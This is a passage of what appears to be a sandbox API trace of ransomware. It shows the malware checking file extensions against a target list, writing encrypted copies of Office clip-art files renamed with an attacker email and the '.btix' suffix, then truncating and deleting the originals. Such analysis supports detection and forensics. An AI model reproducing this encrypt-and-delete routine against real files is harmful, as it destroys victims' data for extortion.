(lpString1=".7z", lpString2="BMP") returned -1 [0140.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.431] lstrlenW (lpString=".dbf") returned 4 [0140.431] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.431] lstrlenW (lpString=".1cd") returned 4 [0140.431] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.431] lstrlenW (lpString=".jpg") returned 4 [0140.431] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.431] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.431] lstrlenW (lpString="J0101863.BMP") returned 12 [0140.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.432] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=32184) returned 1 [0140.432] CloseHandle (hObject=0x430) returned 1 [0140.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0140.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.432] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.432] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0140.433] GetLastError () returned 0x0 [0140.433] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0140.447] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0140.449] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.449] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.449] SetEndOfFile (hFile=0x4c0) returned 1 [0140.449] CloseHandle (hObject=0x4c0) returned 1 [0140.449] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.449] SetEndOfFile (hFile=0x430) returned 1 [0140.452] CloseHandle (hObject=0x430) returned 1 [0140.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0140.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.453] lstrlenW (lpString=".doc") returned 4 [0140.453] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.453] lstrlenW (lpString=".docx") returned 5 [0140.453] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0140.453] lstrlenW (lpString=".pdf") returned 4 [0140.453] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.454] lstrlenW (lpString=".xls") returned 4 [0140.454] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.454] lstrlenW (lpString=".xlsx") returned 5 [0140.454] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0140.454] lstrlenW (lpString=".ppt") returned 4 [0140.454] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.454] lstrlenW (lpString=".zip") returned 4 [0140.454] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.454] lstrlenW (lpString=".rar") returned 4 [0140.454] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.454] lstrlenW (lpString=".bz2") returned 4 [0140.454] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.454] lstrlenW (lpString=".7z") returned 3 [0140.454] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.454] lstrlenW (lpString=".dbf") returned 4 [0140.454] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.454] lstrlenW (lpString=".1cd") returned 4 [0140.454] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.454] lstrlenW (lpString=".jpg") returned 4 [0140.454] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.454] lstrlenW (lpString=".doc") returned 4 [0140.455] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.455] lstrlenW (lpString=".docx") returned 5 [0140.455] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0140.455] lstrlenW (lpString=".pdf") returned 4 [0140.455] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.455] lstrlenW (lpString=".xls") returned 4 [0140.455] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.455] lstrlenW (lpString=".xlsx") returned 5 [0140.455] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0140.455] lstrlenW (lpString=".ppt") returned 4 [0140.455] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.455] lstrlenW (lpString=".zip") returned 4 [0140.455] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.455] lstrlenW (lpString=".rar") returned 4 [0140.455] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.455] lstrlenW (lpString=".bz2") returned 4 [0140.455] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.455] lstrlenW (lpString=".7z") returned 3 [0140.455] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.455] lstrlenW (lpString=".dbf") returned 4 [0140.455] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.455] lstrlenW (lpString=".1cd") returned 4 [0140.455] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0140.455] lstrlenW (lpString=".jpg") returned 4 [0140.455] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.456] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.456] lstrlenW (lpString="J0101864.BMP") returned 12 [0140.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.456] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=31968) returned 1 [0140.456] CloseHandle (hObject=0x430) returned 1 [0140.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0140.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.457] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.457] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0140.457] GetLastError () returned 0x0 [0140.457] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0140.693] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0140.694] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.694] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.694] SetEndOfFile (hFile=0x4c0) returned 1 [0140.695] CloseHandle (hObject=0x4c0) returned 1 [0140.695] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.695] SetEndOfFile (hFile=0x430) returned 1 [0140.698] CloseHandle (hObject=0x430) returned 1 [0140.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0140.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.699] lstrlenW (lpString=".doc") returned 4 [0140.699] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.699] lstrlenW (lpString=".docx") returned 5 [0140.699] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0140.699] lstrlenW (lpString=".pdf") returned 4 [0140.699] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.699] lstrlenW (lpString=".xls") returned 4 [0140.699] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.699] lstrlenW (lpString=".xlsx") returned 5 [0140.700] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0140.700] lstrlenW (lpString=".ppt") returned 4 [0140.700] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.700] lstrlenW (lpString=".zip") returned 4 [0140.700] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.700] lstrlenW (lpString=".rar") returned 4 [0140.700] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.700] lstrlenW (lpString=".bz2") returned 4 [0140.700] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.700] lstrlenW (lpString=".7z") returned 3 [0140.700] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.700] lstrlenW (lpString=".dbf") returned 4 [0140.700] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.700] lstrlenW (lpString=".1cd") returned 4 [0140.700] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.700] lstrlenW (lpString=".jpg") returned 4 [0140.700] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.700] lstrlenW (lpString=".doc") returned 4 [0140.700] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.700] lstrlenW (lpString=".docx") returned 5 [0140.701] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0140.701] lstrlenW (lpString=".pdf") returned 4 [0140.701] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.701] lstrlenW (lpString=".xls") returned 4 [0140.701] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.701] lstrlenW (lpString=".xlsx") returned 5 [0140.701] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0140.701] lstrlenW (lpString=".ppt") returned 4 [0140.701] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.701] lstrlenW (lpString=".zip") returned 4 [0140.701] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.701] lstrlenW (lpString=".rar") returned 4 [0140.701] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.701] lstrlenW (lpString=".bz2") returned 4 [0140.701] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.701] lstrlenW (lpString=".7z") returned 3 [0140.701] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.701] lstrlenW (lpString=".dbf") returned 4 [0140.701] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.701] lstrlenW (lpString=".1cd") returned 4 [0140.701] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0140.701] lstrlenW (lpString=".jpg") returned 4 [0140.701] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.702] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0140.702] lstrlenW (lpString="J0101980.WMF") returned 12 [0140.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.702] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=16104) returned 1 [0140.702] CloseHandle (hObject=0x430) returned 1 [0140.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0140.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.703] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.703] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0140.705] GetLastError () returned 0x0 [0140.705] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0140.707] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0140.708] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.708] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.708] SetEndOfFile (hFile=0x4c0) returned 1 [0140.708] CloseHandle (hObject=0x4c0) returned 1 [0140.708] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.708] SetEndOfFile (hFile=0x430) returned 1 [0140.711] CloseHandle (hObject=0x430) returned 1 [0140.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0140.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.712] lstrlenW (lpString=".doc") returned 4 [0140.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.712] lstrlenW (lpString=".docx") returned 5 [0140.712] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0140.712] lstrlenW (lpString=".pdf") returned 4 [0140.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.712] lstrlenW (lpString=".xls") returned 4 [0140.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.712] lstrlenW (lpString=".xlsx") returned 5 [0140.712] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0140.712] lstrlenW (lpString=".ppt") returned 4 [0140.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.712] lstrlenW (lpString=".zip") returned 4 [0140.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.712] lstrlenW (lpString=".rar") returned 4 [0140.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.712] lstrlenW (lpString=".bz2") returned 4 [0140.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.713] lstrlenW (lpString=".7z") returned 3 [0140.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.713] lstrlenW (lpString=".dbf") returned 4 [0140.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.713] lstrlenW (lpString=".1cd") returned 4 [0140.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.713] lstrlenW (lpString=".jpg") returned 4 [0140.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.713] lstrlenW (lpString=".doc") returned 4 [0140.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.713] lstrlenW (lpString=".docx") returned 5 [0140.713] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0140.713] lstrlenW (lpString=".pdf") returned 4 [0140.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.713] lstrlenW (lpString=".xls") returned 4 [0140.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.713] lstrlenW (lpString=".xlsx") returned 5 [0140.713] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0140.713] lstrlenW (lpString=".ppt") returned 4 [0140.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.714] lstrlenW (lpString=".zip") returned 4 [0140.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.714] lstrlenW (lpString=".rar") returned 4 [0140.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.714] lstrlenW (lpString=".bz2") returned 4 [0140.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.714] lstrlenW (lpString=".7z") returned 3 [0140.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.714] lstrlenW (lpString=".dbf") returned 4 [0140.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0140.714] lstrlenW (lpString=".1cd") returned 4 [0140.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.714] lstrlenW (lpString="C:\\Program Files\\Microsoft 